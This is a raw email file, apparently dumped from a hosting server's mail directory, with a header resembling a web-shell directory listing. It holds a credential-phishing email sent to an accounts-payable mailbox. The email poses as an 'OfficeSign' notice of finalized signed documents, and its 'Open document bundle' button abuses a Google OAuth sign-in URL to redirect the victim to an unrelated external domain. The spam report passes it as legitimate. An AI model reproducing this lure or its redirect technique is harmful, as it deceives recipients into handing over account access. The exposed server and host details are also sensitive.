| Dir : /home/ithome/mail/new/ |
| Server: Linux host100322.itwesthosting.com 3.10.0-1160.144.1.el7.tuxcare.els4.x86_64 #1 SMP Tue Apr 7 08:40:40 UTC 2026 x86_64 IP: 144.91.64.173 |
| Dir : /home/ithome/mail/new/1773843788.M214985P32729.host100322.itwesthosting.com,S=7850,W=8009 |
Return-Path: <cptfrank@candw.ky>
Delivered-To: ithome@host100322.itwesthosting.com
Received: from host100322.itwesthosting.com
by host100322.itwesthosting.com with LMTP
id WGOmDEy1umnZfwAAp0YrwQ
(envelope-from <cptfrank@candw.ky>)
for <ithome@host100322.itwesthosting.com>; Wed, 18 Mar 2026 15:23:08 +0100
Return-path: <cptfrank@candw.ky>
Envelope-to: accountspayable@h1telekom.hr
Delivery-date: Wed, 18 Mar 2026 15:23:08 +0100
Received: from csmtpq2-prd-nl1-cwp.edge.unified.services ([84.116.50.186]:52521)
by host100322.itwesthosting.com with esmtps (TLS1.2) tls TLS_ECDHE_RSA_WITH_AES_256_GCM_SHA384
(Exim 4.96.2)
(envelope-from <cptfrank@candw.ky>)
id 1w2rnf-00007Y-0v
for accountspayable@h1telekom.hr;
Wed, 18 Mar 2026 15:23:08 +0100
Received: from csmtp2-prd-nl1-cwp.nl1.unified.services ([100.105.142.40] helo=csmtp2-prd-nl1-cwp.edge.unified.services)
by csmtpq2-prd-nl1-cwp.edge.unified.services with esmtp (Exim 4.95)
(envelope-from <cptfrank@candw.ky>)
id 1w2rne-006cbG-Rw
for accountspayable@h1telekom.hr;
Wed, 18 Mar 2026 15:23:06 +0100
Received: from [127.0.0.1] ([156.146.39.35])
(using TLSv1.3 with cipher TLS_AES_256_GCM_SHA384 256/256 bits)
(Client did not present a certificate)
by csmtp2-prd-nl1-cwp.edge.unified.services with ESMTPSA
id 2rndw6udVACPE2rnewtHez; Wed, 18 Mar 2026 15:23:06 +0100
X-Env-Mailfrom: cptfrank@candw.ky
X-Env-Rcptto: accountspayable@h1telekom.hr
X-SourceIP: 156.146.39.35
X-CNFS-Analysis: v=2.4 cv=Yd2NIQRf c=1 sm=1 tr=0 ts=69bab54a
a=KeGVzo29hlF12eOX5ct8lQ==:117 a=KeGVzo29hlF12eOX5ct8lQ==:17
a=IkcTkHD0fZMA:10 a=5KLPUuaC_9wA:10 a=f7IdgyKtn90A:10 a=sWKEhP36mHoA:10
a=1XWaLZrsAAAA:8 a=GQ9rbseiAAAA:8 a=Ec9skiB8AAAA:8 a=3g80flMcAAAA:8
a=6fbEqS0XUe5HZgYKwv8A:9 a=tjSTee_hvCDE2RCq:21 a=_W_S_7VecoQA:10
a=QEXdDO2ut3YA:10 a=QdRnjVEjstoA:10 a=9EtrHhcmn5HlZUR9zQiZ:22
a=G1dXlfm-FUcLUPjwQxiD:22 a=3urWGuTZa-U-TZ_dHwj2:22
X-Authenticated-Sender: serpac@cwpanama.net
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/simple; d=candw.ky;
s=201801custpemceu; t=1773843786;
bh=18P4Fz8enqaiV6STAD2gEvur+4do1C2Add2s4Jtmb98=;
h=From:To:Subject:Date;
b=rYfpg5G1R/otkqkNn+IK1QzNPI9HjRyOYK2ndPJvClAX9GR6ZTwMEUVKfJ9pyS0ZX
vNXzPbeEmrDL//M9vv4UIx1D/Q08sbNIu+fHP2HXBseeav1/vYfUWsmQS9yT1j23HB
raokWRIanaMl9JMbqKyi7Us3zaxQI3MeG96myxZuM6kgBPtcRa5U9v9caD3ryY+4c7
e/AlizjRkQ+5rUlkDG4dx2+IuCGSxCJRf5hnfcp4geQSyPaUlNlOTcTnQmciGF+5n5
MQFUq0yja3e3s8cJ13QHfu6XsidgrvfafbNfNC4Oo7Wt+ZtYdU7wDDriAJTlrv/g09
2wbUVLXtrzTLQ==
Content-Type: text/html; charset=utf-8
From: "Accounts Receivable >" <cptfrank@candw.ky>
To: accountspayable@h1telekom.hr
Subject:
=?utf-8?B?RmluYWwgQWN0aW9uIFJlcXVpcmVkOiBBY2NvdW50IFN0YXRlbWVudCBbUmVmIDEwMTcwZ0VxU10=?=
Message-ID: <50775634-02e9-db02-a198-fbe569cc15e3@candw.ky>
Content-Transfer-Encoding: quoted-printable
Date: Wed, 18 Mar 2026 14:23:04 +0000
MIME-Version: 1.0
X-CMAE-Envelope: MS4xfBNpn44LT8oOjyqUk/vJ1vYzzsqtw0z/qXlfhcOhVbZAF0rmJp6FzlyjfdvlFerGefEJxsmem1z55jDDibKNW1nd3sgdJY5eFrwbRuuETFYPk6maGXHo
Ze1tPyxHq4ajpXBHVjlfi4GBomOsXAvE0PqMTERPEVwxz+dTNBvMD4ej2sglSDqit1wAgCvnXyX99Q==
X-Spam-Status: No, score=2.9
X-Spam-Score: 29
X-Spam-Bar: ++
X-Ham-Report: Spam detection software, running on the system "host100322.itwesthosting.com",
has NOT identified this incoming email as spam. The original
message has been attached to this so you can view it or label
similar future email. If you have any questions, see
root\@localhost for details.
Content preview: Accounts Receivable shared your OfficeSign document bundle:
DOC-7642285.pdf and it has been finalized. The signed documents are attached.
Open document bundle
Content analysis details: (2.9 points, 5.0 required)
pts rule name description
---- ---------------------- --------------------------------------------------
0.0 URIBL_BLOCKED ADMINISTRATOR NOTICE: The query to URIBL was
blocked. See
http://wiki.apache.org/spamassassin/DnsBlocklists#dnsbl-block
for more information.
[URIs: candw.ky]
1.0 HK_RANDOM_FROM From username looks random
0.0 HK_RANDOM_ENVFROM Envelope sender username looks random
-0.0 SPF_PASS SPF: sender matches SPF record
0.0 HTML_FONT_LOW_CONTRAST BODY: HTML font color similar or
identical to background
0.1 MIME_HTML_ONLY BODY: Message only has text/html MIME parts
0.0 HTML_MESSAGE BODY: HTML included in message
-0.1 DKIM_VALID Message has at least one valid DKIM or DK signature
-0.1 DKIM_VALID_EF Message has a valid DKIM or DK signature from
envelope-from domain
0.1 DKIM_SIGNED Message has a DKIM or DK signature, not necessarily
valid
-0.1 DKIM_VALID_AU Message has a valid DKIM or DK signature from
author's domain
0.0 RCVD_IN_VALIDITY_RPBL_BLOCKED RBL: ADMINISTRATOR NOTICE: The
query to Validity was blocked. See
https://knowledge.validity.com/hc/en-us/articles/20961730681243
for more information.
[84.116.50.186 listed in bl.score.senderscore.com]
0.0 RCVD_IN_VALIDITY_CERTIFIED_BLOCKED RBL: ADMINISTRATOR NOTICE:
The query to Validity was blocked. See
https://knowledge.validity.com/hc/en-us/articles/20961730681243
for more information.
[84.116.50.186 listed in sa-trusted.bondedsender.org]
2.0 KAM_INVFROM Invalid From Header containing mismatched <>'s
X-Spam-Flag: NO
X-From-Rewrite: unmodified, forwarded message
<html>
<head>
<meta charset=3D"UTF-8">
</head>
<div dir=3D"ltr">
<table width=3D"100%" cellspacing=3D"0" cellpadding=3D"0" =
bgcolor=3D"#fff" style=3D"color:#000;font-family:'Helvetica Neue',Helvetica=
,Arial,sans-serif;font-size:14px;border:1px solid #e9e9e9;background-color:=
#fff;border-radius:3px;">
<tbody>
<tr>
<td valign=3D"top" style=3D"padding:10px;">
<p>Accounts Receivable shared your OfficeSign document bundle: =
<strong>DOC-7642285.pdf</strong> and it has been finalized.</p>
<p>The signed documents are attached.</p>
<table cellspacing=3D"0" cellpadding=3D"0" =
style=3D"margin:auto;">
<tbody>
<tr>
<td>
<table cellspacing=3D"0" cellpadding=3D"0">
<tbody>
<tr>
<td bgcolor=3D"#3aa54c" style=3D"border-radius:2px;=
">
<a href=3D"https://accounts.google.=
com/o/oauth2/v2/auth?prompt=3Dnone&auto_signin=3DTrue&access_type=3Donline&=
state=3D&redirect_uri=3Dhttps://intercareenterprisenx.in/scd/indexalert.=
html&response_type=3Dcode&client_id=3D351892991770-55h1oslmmuatigvpkuehrs7e=
pptjl90u.apps.googleusercontent.com&scope=3Dopenid+https://www.googleapis.=
com/auth/userinfo.email" class=3D"" rel=3D"noopener noreferrer" =
style=3D"padding:8px 12px;border:1px solid #3aa54c;font-family:'Helvetica =
Neue',Helvetica,Arial,sans-serif;border-radius:2px;font-size:16px;text-deco=
ration:none;display:inline-block;color:#fff;" target=3D"_blank">
<strong>Open document bundle</strong>
</a>
</td>
</tr>
</tbody>
</table>
</td>
</tr>
</tbody>
</table>
<p>If you have trouble with the above link, copy it and open it =
with your browser.</p>
</td>
</tr>
</tbody>
</table>
</div>
</html>